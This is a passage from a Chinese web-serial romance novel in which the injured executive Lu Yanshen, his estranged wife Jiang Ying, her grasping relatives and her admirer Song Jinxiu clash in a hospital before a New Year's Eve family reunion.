“你短剧看多了吧,谁二十四小时带着保镖,更何况是自己亲戚。”
“亲戚?”
沈斯阳也是昨天给陆砚深发电话知道的,没想到江墨还挺有血性。
“江墨干的好事。”沈斯阳轻飘飘的说。
“江墨?”梁玥瞬间瞪大了眼睛,“**,好样的,捅的好。”
沈斯阳皱眉,“哪儿好了,动动脑子都不会干这种事,也就是江墨这种小少爷才会干出这种事。”
“你不也是少爷,还说别人。”
沈斯阳脸色僵住,这些年在外人眼里他是沈家二少爷,几乎已经快不记得曾经沈家那个私生子。
“哪儿的牛肉面好吃?”沈斯阳转移话。
……
两人吃完午饭,一前一后到病房时,江莹正在忙着办出院。
梁玥跟着她收拾东西,办出院,“陆家有没有为难你?”
江莹摇头,丧气道:“没有,这两天出奇的安静,我都希望他们家有人来骂骂我,这样我也不用困在医院。”
沈斯阳看着躺在病床上的好友,挑眉:“看你心情还不错,躺在病床上还能稳住运筹帷幄,不错。”
昨晚陆氏宣布利好,今天一开盘,股价直接飙升,不到一个小时直接涨停。
“若不是被逼,我不会轻易把这个项目拿出来,从另一个方面来说也算是困兽之争。”
“谦虚。”沈斯阳勾唇,“你这人走一步看三步都少说了,你要没准备,谁信。”
陆砚深睨了他一眼,“难得你夸我,给你发的消息看到了吧,周野不方便,你盯紧他。”
沈斯阳吊儿郎当,“放心,已经安排好了,过年容易露出狐狸尾巴。但你这样是不是狐狸尾巴也快露出来了。”
“我露什么?
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”
“你都差点没命,还让李律师去保释江墨,什么时候这么好心了?”
陆砚深闭上了眼,“你可以走了,有时间跟我闲扯,不如想想自己的心意。我警告你,你没有想好之前,别碰人,否则江莹砍你,我递刀。”
“陆砚深,你特么有没有良心?你老婆还没跟你和好吧,今后要是被扔了,我也不会捡。”沈斯阳咬牙,“你连动都不能动,你出院,回家等死吗?”
“不会说话,滚。”
刚**逃生,大过年的还诅咒他,怎么会有这种兄弟。
沈斯阳看把人气急,挑眉笑了下,“哎,你这两天动都动不了,把人困在身边能干点啥?”
他是陆家名副其实的当家人,出了这么大的事,没有他的吩咐陆家,怎么可能一个人都不来。
“你脑子里只有一种颜色。”陆砚深睁眼,黑着脸回怼。
“你没有那种颜色娶老婆干什么?人家都要跟你离婚了,还巴巴耍心机上赶着。”
话不投机半句多,陆砚深闭嘴。
“行行行,不说了。”沈斯阳倾身,声音压低,“昨天那事,你就没有怀疑的目标?”
“怀疑讲证据,没有证据瞎怀疑,那是浪费时间。”陆砚深嗓音沉沉。
“切,还跟我保密上了。”沈斯阳知道他嘴硬,也不强迫。
两人说话间,杜宇急匆匆赶来。
沈斯阳看到杜宇,瞬间来了兴致,杜宇来就是有消息了,自己来的还挺巧。
“陆总,昨天放视频的人查到了。”
“谁?”沈斯阳眼睛瞪得乌溜溜圆。“快说。”
“你先把姓改了,再着急替你爹做主。”
陆砚深一句话,让沈斯阳愣了一瞬,回过味儿,他挥着拳头就要砸到他身上,在挨到的那一瞬间,轻轻贴了上去。
“陆砚深,要不是怕你**我偿命,老子一圈砸你伤口上。”
杜宇笑笑,“昨天现场的监控有一段时间断电,但我们通过酒店门口的监控发现了一个可疑的人。”
“谁?”
沈斯阳盯着杜宇,看女人都没有这么专注、急切。
第149章 躺着让人伺候
杜宇看了眼陆砚深,有些为难,“是设计部的薛婷婷。”
“一个小小的设计员,怎么还让你杜特助为难了?”
沈斯阳有些泄气,他以为抓到了哪个重量级的人,不想是个小设计员。
陆砚深原本轻松的眉眼,这会儿也皱了起来,怎么也没有想到会是她。
江莹跟她关系好,印象中那个小姑娘对江莹也很依赖。
“一个小姑娘,没有动机,先别让太太知道,查清楚她的动机。”
杜宇为难,“这姑娘不愧是跟太太带出来,嘴硬得很,昨晚抓到她时说太太被逼走了,她报复公司,看不惯您朝秦暮楚。从昨晚到现在,整整一天,一个字都没有再说。”
“查一下她的关系网,事情没她说的那么简单。”
杜宇点头,“您放心,已经安排下去了,江夫人也安排好了。”
沈斯阳打量着杜宇,不由得嫉妒,陆砚深的助理怎么这么懂老板的心思。
跟他的助理比起来,好像他的助理可以扔了。
“哎,杜宇,他给你开多少年薪,我给你开双倍,你来给我当助理。”
沈斯阳双手抱在胸前,一脸谄媚地看着杜宇。
陆砚深唇角颤了颤,没有说话,只是眼神颇为不屑。
杜宇看了眼陆砚深,挠了挠头,“沈总,真两倍呀?”
沈斯阳看有戏,连连点头,“真两倍。”
陆砚深一点没有要被撬墙角的紧迫感,反而在一旁看好戏。
“沈总,我年薪加奖金将近五百万,陆总还给了我百分之三的公司股份。”
沈斯阳直接傻眼,百分之三的公司股份,别看数量不多,但价值不菲,分红都有近千万,难怪杜宇能三百六十五天随叫随到,还是全能型人才。
这要是两倍工资,意味着年薪两千万。
沈斯阳咂舌,这样助理他用不起。
“杜宇,难得沈总这么看得上你,你有高就我为你高兴。”
陆砚深脸上无波无澜,睨了一眼沈斯阳,眼底也平静的看不出任何异样。
沈斯阳手里就两家小公司和夜色会所,他一年的净利润也就大几千万,沈家的家产他能拿的不多,不过是定了个沈家二少的名头罢了。
“别别别,你正是需要杜宇的时候,我怎么能抢兄弟的爱将。”沈斯阳不好意思道:“以后杜宇有空帮我调教一下助理就行,认识这么多年了,我要真有事找他帮忙,杜宇也肯定不会推脱。”
陆砚深白了他一眼,“想白嫖?”
“这话说的,他是个男的,我怎么嫖?”
杜宇笑笑,“沈总,有需要我帮忙的,您随时说。”
沈斯阳咧开了嘴,“陆砚深,你看看,你就是典型的资本家嘴脸。你看看杜宇,人家不光有能力,还谦虚。温润如玉,一表人才,这种人最招女孩子喜欢。”
陆砚深听着他这话,莫名想到了宋瑾修那张脸,那是真的温润如玉。
三人刚说完,江莹跟梁玥从外面进来。
“赶紧回去吧,到家不耽误帮阿姨包饺子。”
江莹催促梁玥,陪自己去取检查报告的功夫,她家皇后娘娘已经连打三遍电话。
也是过年了,哪家父母不盼着团圆。
“那我走了,你……”
“不用担心我,好好回家过年。”
梁玥要走,沈斯阳不能不走,冲陆砚深挑眉,“好好养伤,你得感谢江墨,要不然也不能这么躺着让人伺候。”
陆砚深不耐烦地瞪了他一眼,“滚!”
杜宇看了眼自己老板,识趣道:“陆总,还有些事我得盯着,您休息一下打完药就可以回家。”
陆砚深点头,“盯紧点。”
人离开后,江莹看了看陆砚深的药,在旁边的沙发上坐下给刘姐打电话。
该过年了,却没有机会去看老妈,看到梁玥妈妈一直不停催她,心里的既羡慕又心酸。
但电话打了好几个都没有人接,想着或许在午睡,江莹关了手机。
她刚准备放下,好多天没有给她打电话的人,突然给她打来电话。
江莹看到备注,随手挂了电话。
却不想她手机还没来得及放下,对方又打了过来。
江莹不想让他们去烦自己母亲,不耐烦地接了
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电话。
“死丫头,砚深受伤这么严重的事,你都不说一声。我们在住院部大厅,你下来接我们一下。”
张家老太太火气十足。
“我不在医院,接不了,你们回去吧。”江莹不想看到他们,也不想应付,直接撒谎。
“死丫头,你在哪儿呢?可真会躲清闲。”
张家老太太上来的叫骂让江莹头大,她躲清闲?
她已经当牛做马两天了,狗东西就是为了折磨她,家里一个人都不让来,也不请护工,她想照顾儿子一样伺候他。
“这话从何说起,我怎么躲清闲了?”
“今天是除夕,陆砚深已经出院了,家里有家庭医生,他不想在医院过年,上赶着去可惜晚了。”
老太太中气十足的声音,陆砚深听出来了,他转脸看着江莹,从来没见她这么跟张家人说话。
“你个小贱蹄子,越来越嚣张了。”
“砚深姑姑、宁宁丫头,你们俩怎么来了?”
张启明乐呵呵的声音从电话里传来,江莹皱眉,一脸生无可恋。
真应了那句老话,认倒霉喝口凉水都塞牙。
陆砚深看她这副表情,嘴角勾了勾,不用想也知道,她的谎言被人戳破了。
“你去找一下陈院长,让他安排医生定时去家里。”
江莹纳闷,“不是有家庭医生?”
陆砚深挑剔道:“不一样,孙医生在脾脏方面不够权威。”
江莹瞪了他一眼,“使唤我很爽?”
陆砚深勾唇,打量了她一遍,确认道:“确实爽。”
“陆砚深,我就没有见过比你更无情的人,小心肝眼巴巴地看着你,多想留在你身边照顾,你怎么就那么不解风情。她留下,孩子也在,一家三口其乐融融不好吗?”
陆砚深看着她一脸云淡风轻说着秦欣和孩子的事,心里一阵烦躁,声音凉了几分,“不合法,不安全,我更喜欢合法安全的关系。”
“你肚子里的气还挺多,乱窜。”江莹瞥了他一眼,直接走人。
陆砚深听着她莫名其妙的话,愣了一瞬后,瞬间黑了脸。
第150章 现实版舔狗日常
江莹离开不到一分钟,张家老太太带着张启明和唐玉母女跟着陆静淑母女和陆宁一起进来。
“砚深,感觉怎么样?”张启明一脸关切。
老太太情绪不爽,因为陆静淑根本就没搭理他们,所以开口说话就是责备。
“莹莹太不懂事了,你出这么大的事,怎么能不跟我们说一声,要不是看到新闻,我们到现在都不知道。”
陆宁嗤笑,“还真把自己当盘菜,不知道还好,我哥乐得清静。”
“小丫头说话怎么这么尖酸刻薄。”
老太太在家强势惯了,被一个丫头片子这么说心窝火。
“宁宁,少说两句。”
他们毕竟是江莹的血亲,陆砚深不想让他们太难堪。
“我说错了吗?一家人假惺惺做样不就是为了钱。哥,这些年你都成他们家摇钱树了。”
陆宁越说越气,看着张家怎么看怎么不爽。
张冉冉一直想结交陆宁这样的顶级豪门千金,顺势上前挽住她的胳膊,安抚:“宁宁妹妹,别生气都是一家人,你长这么漂亮生气影响美貌。”
陆宁一把推开她,一脸厌恶,“谁跟你一家人,少往自己脸上贴金,你一个拖油瓶也好意思说话。”
乔云舒向来知书达理她看到唐玉母女俩也难以压住心口的那股火,“张奶奶,你和张叔叔是表嫂的亲人,这两位是什么亲戚?”
张家老太太和张启明神色尴尬地看了看唐玉母女,张嘴都说不出话。
乔云舒眸色清冷,染了几分锐利,“这位小姐,你自称是一家人,请问跟我们有什么关系?”
唐玉和张冉冉不傻,在乔云舒开口那一瞬就知道,是故意针对她们。
江莹都默认了她们的存在,这丫头这是干什么?
骂人不揭短,**不打脸,她是专门打脸揭短。
唐玉说医院只有江莹和陆砚深,张启明没想到会碰到陆静淑,事情到了这个份上,他不可能装死。
于是讪训道:“她们是……”
刚开口就说不下去。
江莹出去一趟回来走到门口就听到病房乔云舒质问的声音,不想应付他们干脆在门口的椅子上坐了下来,刷手机。
刚点开微信,孟澜的消息一个劲儿往外蹦。
孟澜:莹莹,我跟你直播的视频一直被转发,大家都说被你惊艳到了,甚至直言不讳地说你比我好看,连我经纪人都问我你要不要出道。
孟澜:亲爱的莹莹,要不你出道吧,我给你当经济人。
孟澜:或者你不出道,做直播也行,就做非遗传承人,既能守护非遗,又能传播文化,这不正是你的初衷。
孟澜:你怎么不说话?
孟澜:莹莹,你忙什么呢?你该不会是跟陆砚深在家两天感情培养出来了,把我忘了吧?
孟澜:江莹.....
江莹看着孟澜一连串的消息,憋着笑回道:忙着看戏呢,没有时间回你。
孟澜秒回:我去,你终于回我了,看什么戏?
江莹:明知你看我不起,我还是想要贴着你。
孟澜:什么鬼?
江莹:经典现实版舔狗日常。
孟澜:???
江莹转头看了眼病房门,虽然看不清,但她听得清楚。
江莹:先不说了,等你回来再说,这会儿先看戏。
陆宁看着张启明老脸一阵红,瞎害说大实话,“她们是……情妇和情妇之女。”
乔云舒扯唇冷笑:“叔叔,据我所知你跟我表嫂她妈妈并没有离婚,现在民风开化到小三都可以光明正大带出来了?”
张老太太脸上有些挂不住,一个陆宁出言不逊已经让她很没面子,现在又来一个乔云舒。
她不悦道:“江岚已经痴傻四年,我儿子是打算离婚的,但考虑到她毕竟生了江莹不忍心给莹莹增加负担,也不忍心让她无依无靠,所以才没有离,只能委屈唐玉。”
陆静淑虽然不屑,但还保持着原有的优雅。
张家老太太腆着老脸,笑道:“砚深姑姑,你看我们家莹莹不懂事,砚深伤这么严重她还到处乱跑不在跟前照顾。等回头看到她,我一定好好说说她。”
陆宁看着他们一家就烦,更何况在她心里江莹就是跟他们一样。
“不光江莹,你们一家没一个,全是见钱眼开的主儿,有事了上赶着撵都撵不走,没好处的事巴不得躲得远不远的。我哥都这样了,你们心里那点小九九还明晃晃写在脸上。”
这话让老太太脸上挂不住立马黑了脸,刚要开口,被张启明拉住。
虽然听着也很不舒服,但还是笑道:“这是哪里的话,砚深是我们家女婿,我们关心他,一听说他受伤了就赶紧过来看看。”
“你们是真关心?”陆宁冷哼,“你们是怕我哥出事了,没有人再养着你们这一大家子吧?也不知道上辈子祖上积了什么德,让你们攀上我哥。”
“陆小姐,你这话说得未免太伤人了,我们.
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.....”
张冉冉再想攀附,但架不住陆宁一直指着鼻子骂他们,加上在家娇纵惯了,哪儿受得了这个冷嘲热讽?
但一旁的唐玉在她还没有说完就将人拽到了一边,低声训斥道:“闭嘴,哪儿有你说话的份儿。”
张启明脸上一阵红一阵白,五十多岁的人了,被一个小姑娘当面这么数落,气得攥紧了拳头。
“砚深姑姑,你看这是在病房,我们这样,影响砚深休息。”
陆砚深前面还想制止陆宁,但想到他们逼江莹,又觉得爽。干脆什么都不说,直接闭上了眼,朋友陆宁怼人。
来看病人,带着唐玉和张冉冉,确实不长脑子。
陆静淑脸色冰冷,不屑地瞥了张启明一眼,转头对陆宁淡淡地说了一句,“怎么跟长辈说话呢?”
言语中完全没有责备的意思。
“张婶,你看砚深脸色和精神都不是太好,我们就不接待了,还请你们先回去。”
张启明带了目的来,张斌是他的左膀右臂,沈斯阳要把他赶出江北,能周旋的只有陆砚深。
但今天这个状态肯定是不能提了,心想让张斌出去几天也行,等过了年再提。
坐在门口的江莹听着低三下四的一家人,眉毛拧在了一起。
陆宁说话这么难听,他们竟然都忍了,老太太骂她时的威严呢?
江莹不想跟他们碰面,想着去医院门口喝杯咖啡,没想到刚起身,就看到秦欣过来。
“江莹,你是被赶出来了?”
想到陆宁说她哥今天要出院,秦欣心里隐隐高兴。陆宁恨透了江莹,把她赶出来,太正常了。
江莹不想搭理她,睨了她一眼要走,身后的病房门打开,陆宁跟着走了出来。
“欣欣姐,你来了,赶快进来。”
“宁宁,这些人是?”秦欣故意问。
陆宁扫了一眼张家人,嘲讽道:“江莹娘家人,一家吸血鬼,听说我哥受伤就上赶着来献殷勤。”
老太太听了气的瞬间黑了脸,颤巍巍往前走。
陆宁对秦欣的态度跟对他们的态度相比,简直就是云泥之别。
江莹无所谓地靠在墙边撇了撇嘴,开始设置手机,她**以为常的话,让他们也多听听。
秦欣抿唇,跟着陆宁往病房走。
“吧嗒”一声关门声后,江莹开口:“一个是我爸,一个是我奶奶,看着小三大摇大摆进去勾引我老公,你们就一点都不表示一下。”
第151章 赤裸裸的告白
张启明看看自己老娘,又看看唐玉,一时间不是知道该怎么回话。
老太太梗着脖子开口,“你想让我们把人撕了,也得看看时间场合,这里合适吗?”
江莹冷笑,“您觉得哪里合适?”
张冉冉挑眉,“当然是捉奸在床啊!”
唐玉站在一旁抿唇,显然是不明显,但江莹看到了。
江莹扫了她一眼不屑地弯唇,把窝囊说得冠冕堂皇,还这么理直气壮,她自愧不如。
老太太被她嘴角不屑的讥笑刺伤,拄着拐杖转身,“你个死丫头,自己男人都栓不住,你还能耐了。结婚三年你要争气给他生个一男半女,我们还至于在陆家人面前这么没分量,被一个黄毛丫头数落得抬不起头。”
她冷笑开口,“我生个孩子你们就敢为我出气?自己怂不承认,把盆子都扣我头上,就是不承认自己舔狗行径。陆现深说过他不可能让我生孩子,因为有一个我就已经很头疼,不想让孩子也成为你们贪得无厌的帮凶。”
虽然已经过去很久,但想起这句话,江莹心里还是会疼。
张启明听到这话神色复杂,他之前确实贪。若不是贪又怎么走到今天这一步。
老太太也**莹的话惊到,没想到陆视深会说出这种话,还以为男人都会**莹迷到。
要不然他怎么会那么轻松就同意娶江莹?
“赶紧走吧,人家不欢迎你们,就别再上赶着,怪掉价的。”
江莹知道时间和地点都不对,不应该跟他们在这里闹得太僵,但一看到张启明那张脸,哪怕扫一眼,她都觉得胃里不舒服,心里压不住的恨意就往上翻涌。
“哦,对了,我看她脸色红润,一点都不像四十多岁的人,说不定还能再给你个孙子。但毕竟是上不了台面的脏东西,就别领着到处丢人现眼了,要不然人家还以为时代进步时落下了张家呢。”
唐玉心虚的睁大了眼睛,怀孕的事还没有跟张启明说,这丫头嘴倒是厉害,一语中的。
“你……”
老太太气的另一手拿拐杖用力戳着地。
“奶奶,你们若是还想在这里看,就继续守着,等会儿看陆砚深的小情人出来是怎么趾高气扬的。”
张启明因为张斌的事已经够心烦,没有了他,很多肮脏的事都要他自己做。
“妈,我们先回去。”
唐玉温柔地挽住老太太的胳膊,“妈,陆家门第高,规矩多,我们不要让莹莹为难了,毕竟一个女人被外面的女人压一头,确实挺没面子。”
江莹睨她一眼,“**贱性,就你这样也就张启明要你。”
“江莹……”
张启明被人骂本来心里就很不爽,不想江莹现在一点都不把他这个父亲放在眼里,直接提名道姓。
江莹满眼不屑地白了他一眼,转身刚准备走,老太太气得举起手里的拐杖直直朝着她的后背砸了过去。
“师哥!”
看到宋瑾修过来,江莹眉眼弯了起来。
“小心!”
宋瑾修一把扯住江莹,另一只手直接挡在她背后,生生挡住了老太太用力砸过来的拐杖。
“嘶……”
老太太下来了狠劲儿,一拐杖下去,宋瑾修小臂钻心疼。
江莹转头看到师哥被砸,紧张转身托住他的手臂。
“师哥,怎么样?”
江莹说着就去查看他的手臂,撸起他的衣袖,入目就是一片红肿。
“师哥……”
江莹语塞,不知道该说什么。
宋瑾修脸色白了几分,声音透着隐忍,嘴角却勉强扯出一个笑,“是挺疼的。”
老太太有些慌,“小伙子,是你自己凑上来找打的,不是我要打你。”
“你应该庆幸是我凑上来的,若是你这一棍落在莹莹身上,你有没有想过后果。她身体本来就瘦弱,她能承受得住你这一拐杖吗?”
张启明认识宋瑾修,这个人在江北能快速崛起,起身名流圈,手段绝非等闲。
他可是亲眼看着红杉制药在两年的时间内,从濒临倒闭到现在的炙手可热。
这就是宋瑾修的手笔,也是业内一直啧啧称奇的地方。
“宋总,别生气,人上了年纪,难免会像小孩子。”张启明说着看向江莹,“莹莹,别愣着快带宋总去看看,医药费爸爸出。”
江莹皱眉,“爸爸”两个字异常刺耳。
“张总,老太太这火气太旺,还是赶
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紧看看,心火太旺不是好事。”
宋瑾修说着瞪了一眼老太太,那眼神狠厉,寒凉。
即便是快要八十岁的人,看到这样的眼神,还是禁不住打了个寒战。
“师哥,我们去看医生。”
大过年的,宋瑾修替她挡了一拐杖,江莹心里除了担忧还有亏欠。
以至于拉着宋瑾修就往骨科走。
人刚到骨科,陆砚深的电话打了过来。
江莹看到他的名字就心烦,直接挂了电话,陪着宋瑾修检查。
看宋瑾修的手臂似乎比刚刚肿得更高。
“医生,严重吗?”江莹焦急地问。
不等医生开口,宋瑾修安抚她,“别紧张,不碍事,这会儿都不怎么疼了。”
医生稍稍用了点力检查,宋瑾修瞬间冷嘶一声。
“碰一下就这么疼,而且组织水肿严重,怎么能说不碍事?怕女朋友担心,也不能拿自己的身体开玩笑。”
医生瞥了一眼宋瑾修,然后转头看向江莹,“应该是骨折了,带你男朋友去拍个片。”
宋瑾修看着江莹勉强笑了下,起身走出医生办公室,江莹一脸愧疚跟在他身后。
“别担心,真不怎么疼了。”
江莹抿唇,低声嘟囔,“是我连累了你。”
宋瑾修顿住脚步,转头看着她,目光沉沉,“你是江莹,为你做什么,我都愿意。莹莹,我的心思,从来没有隐藏过。三年前,我知道你心里没有我,而我觉得日子很长,我有信心让你接受我,所以我选择等,选择陪伴。没想到……”
宋瑾修说着声音哽住,似乎有些说不下去。
江莹想开口,宋瑾修抓住她的手,“莹莹,让我说完。曾经我想,你嫁给了自己喜欢的人,只要你幸福,我就默默祝福。但现在……,老天既然给了我第二次机会,我便不想放弃。莹莹,我求好好考虑一下,陆砚深践踏你的感情,在外面有女人有孩子,他配不上你。”
他说话间声音哽咽,抓着江莹的手,不觉间用力,指节泛白。
他赤裸裸的告白,让江莹不知道该怎么接话,装没听到,显然也不现实。
更没有注意到,楼道口有人举着手机拍照。
第152章 摔倒哪里躺平
沉默良久,江莹红了眼圈,“师哥,你抓疼我了。”
宋瑾修意识到自己的失态,瞬间松开江莹的手腕,“对……对不起,弄疼你了。”
江莹摇头,“师哥,我不值得。”
“莹莹,在我心里,你无可替代,别急着拒绝我。若你跟陆砚深真的离婚了,我希望你能考虑量一下我。不是你不值得,而是希望你能给我一个感受温暖的机会。”
江莹看了宋瑾修两秒,不敢再直视他的眼睛。
她想说她一直把他当大哥,当亲人,但看到那双满是渴望的双眼,她有些说不出口。
检查一圈下来,确认宋瑾修的手臂骨折。
在宋瑾修打石膏绷带时,陆砚深第三次打来的电话,**莹再次挂断。
接近着就是一条消息:车到了,回来。
江莹深呼一口气,这么多年,他很少这么执着给自己打电话,没想到现在马上要离婚,他倒是知道自己有老婆了。
看着宋瑾修脖子里挂好绷带,江莹心里挺不是滋味。
他一个人过年,本就凄凉,现在手又受伤了,这个年该怎么过?
“听说梁玥说你在医院,本来是想着来看看你,怕你受委屈一个人扛,没想到挂彩了,还是被你奶奶一拐杖给敲的,看来以后我得多锻炼了。”
江莹被他轻松的语气逗笑,“大过年搞成这个样子,你还有心情笑。”
“当然要笑了,而且我还特别庆幸,这一棍是我挡下了,要不然你的身体怎么能扛得住。”
江莹瞬间红了眼,她不确定宋瑾修是不是知道了她怀孕的事。
但她不能接受宋瑾修有一部分原因是孩子,她不想带着孩子嫁给任何人,不能让孩子重蹈她的覆辙。
人性经不起赌。
“师哥,谢谢你!”
江莹除了谢谢,不知道还能说什么,似乎她能说的额就只有“谢谢”这两个字。
“时间不早了,江墨那里我会去陪他,你安心处理医院这边的事。”
宋瑾修的话,让江莹瞬间泪目,江墨是她最大的牵挂,偏偏这个时候,陆砚深将她困在身边。
“谢……”
宋瑾修抬手在自己唇边做了个噤声的动作,“你已经说过了。再说,过年我一个人挺冷清的,刚好跟江墨做个伴,不至于孤单。”
两人边往外走,边聊,宋瑾修闲谈中问道:“对了,陆氏年会上曝光的视频是谁干的?”
江莹摇头,“不知道,没有听陆砚深说起,应该是还没有查到。”
宋瑾修眼色复杂了几分,若有所思道:“这个性质太恶劣了,陆砚深应该不会放过对方。一下午市值蒸发近十亿,幸好他有后手,要不然损失不小。”
江莹抿唇,心想管他损失多少,反正自己只有二点五亿。
看江莹不说话,宋瑾修顿住脚步,“照顾好自己,我走了。”
他抬手揉了揉江莹的头,温暖和煦地笑如春日里的暖阳,让人不觉间放松了紧绷的情绪。
江莹心想,若是当初自己没有嫁给陆砚深,或许真的会嫁给师哥,毕竟他确实很优秀。
但,人生没有如果,宋瑾修太过温柔,温柔得让她觉得有些不真实,甚至觉得自己这种有些作,有些骄纵、有些小腹黑的女人跟他就不是一路的。
江莹回到陆砚深病房,里面静得落针可闻。
“去哪儿了?”
“能去哪儿,当然是陪着别的男人去了。”陆宁不屑地看了江莹一眼,继续道:“我可是亲眼看到她一脸殷勤地围着她那个所谓的师哥转。”
陆砚深坚持等江莹回来才出院,陆宁等的着急出门去找她,没想到看到她跟宋瑾修拉拉扯扯,举止暧昧。
拍下照片,她把手机凑到陆砚深面前,病房里的温度瞬间低了几个度。
江莹扫了一眼脸色黑得能滴水的陆砚深,嘴角勾起一抹无所谓的笑,“你哥有别的女人献殷勤,我给别的男人献殷勤,这是我们夫妻之间的默契。要不然,他怎么能随时随地跟别**小见?”
陆宁气得上前一步,瞪着江莹,“你要不要脸?”
江莹转眼睨了她一眼,“你要?你要的话,就不会出现在我面前,看来上次的教训还是没有让你长记性。”
陆宁被戳到肺管子,直冲冲朝着江莹过去,大有打架的气势。
在她靠近的瞬间,江莹一个转身,坏心眼地稍稍抬脚。
下一秒,“啪”一
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声,陆宁直直趴在地上,直接狗啃泥。
“啊……呜呜……”
陆宁直接哪里摔倒哪里躺平,直接趴在地上哭了起来。
“这…你不能怪我,我是怕你打我才躲开的。”江莹委屈地看了眼陆静淑,“姑姑,她对秦欣有说有笑,对我家里人那个态度,我也是个人,我……”
陆静淑原本气得不行,大过年打电话不接,要出院了这么多人等着她。但现在听江莹的话,心里的气莫名消了几分。
那个秦欣确实是个不懂避嫌的,而他们对张家的态度也确实……
只是有一点她没搞懂,明明臭小子心里是有江莹的,怎么就非要跟秦欣不清不楚,让老婆误会。闹得现在都要离婚了,他却对离婚的事只字不提。
陆静淑无奈地瞥了一眼陆砚深,又看看趴在地上哭的陆宁,“行了,丢不丢人,这么大人了摔倒趴在地上哭!”
乔云舒带着医生进来,看到地上这一幕叹了口气,上前把人扶起来,“宁宁,不管什么事,注意影响。”
陆砚深全程黑着脸,视线沉沉落在江莹身上。
直到回了湖心公馆。
“姑姑,你赶紧回老宅吧,姑父说今年尽量赶过来。”
陆静淑看已经安置好,家庭医生也到,心里稍稍安心,“你们俩冷冷清清怎么过年?”
“你不用操心我们,爷爷奶奶那里瞒着点,省得他们过年担心。”
陆静淑点头,“放心,有事打电话,你姐夫回来了,趁过年好好说说他们的事。”
陆砚深催促,“知道,你赶紧回去,别让爷爷奶奶起疑心。”
“表嫂,新年快乐!”
乔云舒临走从包里拿出一件礼物塞到江莹手里。
江莹没有想到在陆家这几年,最大的友善是来自这个表妹。
“谢谢!”
江莹送走陆静淑和乔云舒,站在门口看着自己好久没有回来的院子,她曾经的家,心里说不出的滋味。
这里曾以很用心地经营自己的婚姻,没想到满腔热情,终究抵不过陆砚深的凉薄和不忠。
正在她胡思乱想之际,门口响起车喇叭声。
她转头,一辆黑色商务车正准备进院里来。
第153章 漂漂亮亮过年
商务车在院子里停稳,车门被人从里面拉开。
江莹很好奇,这个时候谁会来?
刘姐拉开车门出来的同时,江莹整个人僵在原地。
“刘姐?”
刘姐冲她笑笑,低头小心翼翼扶着车里的人。
江岚穿着一件黑色羽绒服,眼神虽然有些涣散,但依旧安静地任由刘姐牵着手。
背面的车门被推开,江墨那张别扭的脸,从车门处探了出来。
江莹愣怔了一瞬后回神,她上前拉住母亲的手,眼眶瞬间酸涩。
跟陆砚深结婚三年,母亲从来没有来过这里,因为陆家的规矩,这三年她更是没有陪母亲守过岁。
没想到,今年的除夕夜,母亲会来。
她更想不通,江墨那头倔驴,刚把陆砚深捅伤,今天怎么肯踏进湖心公馆。
杜宇从副驾驶下来,看着江莹呆愣的样子,微笑着走上前。
“太太,陆总说家里太冷清,怕您过年心里难受,特意让我把江夫人和江墨少爷接过来。”
江莹敛眸,逼退自己眼里的泪,看着杜宇点点头,“辛苦了!”
“太太客气了,我这也是按陆总吩咐行事。”杜宇说完停顿两秒,抿了抿唇又开口,“陆总身上的伤还没稳定,非坚持出院,其实就是为了让你们一家人能安安生生过个年。”
江莹听着杜宇的话,心脏像是被一只无形的手轻轻捏了一下,酸软得有些发疼。
这人怎么突然转性了?
居然会想到把母亲和江墨接来。
江墨不屑,“他有你说的那么好吗?心狠手辣资本家,朝三暮四大渣男。你拍马屁找错人了,我们可不会说他一句好。”
江莹给江墨一个眼神,示意他闭嘴。
她看向杜宇,“你别跟小孩儿计较,时间不早了,赶紧回家过年吧。”
杜宇抿唇笑了下,点头上车离开。
江莹攥住母亲有些微凉的手,眼底的水汽再也压不住。
“妈,冷不冷?”
江岚似乎认出了她,嘴角露出一个干净纯粹的笑,像个孩子似的摇了摇头。
江莹深吸了一口气,压下喉咙里的哽咽,扶着母亲往屋里走。
江墨眼睛打量着院里,想到那天晚上的情况,心里有些后怕。
甚至有些尴尬,虽然是被逼来的,但被迫而来,也终是说明自己是弱鸡。
刚进门,王嫂系着围裙从厨房出来,笑眯眯地迎了上来。
“太太,江夫人和江少爷的客房,先生昨天就吩咐我收拾出来了。想跟你个惊喜,所以就没有告诉你。”
“地暖开得足,床品都换了最柔软的,保证夫人和少爷住得舒服。”
“辛苦王嫂。”
江莹心里五味杂陈,转头看向一直闷不吭声的江墨。
江墨被她看得有些不自在,烦躁地扒拉了一下头发,眼神躲闪。
趁着刘姐和王嫂扶着江岚去沙发上坐下的功夫,江墨一把将江莹拉到玄关的角落。
“到底怎么回事?”
为了不吓到客厅里的姑姑,江墨刻意压低了声音,瓮声瓮气,甚至咬牙切齿。
“你以为我想来?还不是陆砚深那个王八蛋逼我的!”
江莹皱眉,“他怎么逼你了?”
江墨气得直翻白眼,“他让李律师给我发了一份赔偿清单!”
“说如果我不来陪你过年,就要追究我的责任。”
“什么医药费、误工费、精神损失费,甚至连陆氏集团因为他受伤导致不能出席公司年会,都算到了我头上!”
“他是钻石做的吗,受伤要上亿的赔偿金?”
江墨越说越气,拳头捏得咯咯作响。
“要不是怕他找你麻烦,我才不来。”
江莹看着弟弟这副憋屈又无奈的模样,原本酸涩的心情突然被搅散了几分。
同时又有些看不懂陆砚深。
向来冷淡的人,突然转变,不过是因为舅妈去世了,他心里有愧!
……
客厅的地毯上,江墨盘腿坐着,手里拿着个苹果,笨拙地拿着水果刀削皮。
江莹拿了温热的毛巾给江岚擦脸,“妈,今天过年,我给你画个妆,我们漂漂亮亮过年。”
帮江岚擦完脸,江莹找出自己的化妆包,跪坐在沙发旁,小心翼翼地帮母亲修眉。
江岚很安静,一动不动地盯着女儿看,眼神平静。
修完眉,江莹挑了一支豆沙色的口红,轻轻点在母亲的唇上。<
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br>即便已经四年神智不清,但江岚的骨相依旧美得令人惊叹。
那一抹淡淡的豆沙色,瞬间让她略显苍白的脸颊焕发了生机。
江莹看着母亲,心底软成一片。
她倾身上前,抱住江岚的脖子,在她侧脸用力地亲了一口。
“我妈是世界上最漂亮的妈妈。”她吸着鼻子,声音里带着浓浓的鼻音。
江墨把削得奇丑的苹果递给江岚,嫌弃地瞥了江莹一眼,“你都多大了,还在姑姑面前撒娇,要不要脸?”
江莹红着眼睛瞪他,“你嫉妒你也可以撒娇,我不会笑话你。”
“谁嫉妒你,爱哭鬼。”
姐弟俩你一言我一语地斗着嘴,江岚虽然听不懂,却莫名咯咯地笑了起来。
客厅里是这三年未曾有过的温馨与平静。
